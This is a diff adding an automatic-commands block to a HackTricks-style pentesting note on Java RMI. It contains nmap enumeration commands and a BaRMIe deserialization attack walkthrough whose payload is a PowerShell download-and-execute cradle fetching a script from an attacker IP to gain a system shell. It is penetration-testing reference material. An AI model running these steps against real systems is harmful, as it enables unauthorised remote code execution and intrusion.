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HAC 1099

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pentesting/1099-pentesting-java-rmi.md
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@ -266,3 +266,40 @@ We can still achieve arbitrary Java deserialization by replacing object or array
* `port:1099 java`
## HackTricks Automatic Commands
```
Protocol_Name: Java-RMI #Protocol Abbreviation if there is one.
Port_Number: 1098 #Comma separated if there is more than one.
Protocol_Description: Java Remote Method Inclusion #Protocol Abbreviation Spelled out
Name: Notes
Description: Notes for Java-RMI
Note: """
The Java Remote Method Invocation, or Java RMI, is a mechanism that allows an object that exists in one Java virtual machine to access and call methods that are contained in another Java virtual machine; This is basically the same thing as a remote procedure call, but in an object-oriented paradigm instead of a procedural one, which allows for communication between Java programs that are not in the same address space.
nmap -sC -sV -Pn 10.11.1.73 -p 1100
may dump the reg of the java-rmi instance. If this is the case the machine may be vulnerable to a deserializaion exploit.
BaRMIe.jar is the way to go to directly exploit this vulnerability.
https://github.com/NickstaDB/BaRMIe/releases/tag/v1.01 is where the latest build is hosted, pre-built
useage
java -jar BaRMIe_v1.01.jar -attack 10.11.1.73 1100
target select) 1
available attacks) 1 (illegal bind deserialization)
payloads) 1 (Apache Common Collections 3.1 worked for me, others may also work)
OS Command) powershell.exe -command "IEX(new-object net.webclient).downloadstring('http://192.168.119.167:80/3232.ps1')"
enjoy your system shell!
https://book.hacktricks.xyz/pentesting/1099-pentesting-java-rmi
"""
Name: Nmap RMI
Description: Nmap with RMI Scripts
Command: """nmap -sV --script "rmi-dumpregistry or rmi-vuln-classloader" -p 1098 {IP}"""
Name: Nmap register
Description: Dump register of java-rmi instance
Command: """nmap -sC -sV -Pn {IP} -p 1100"""
```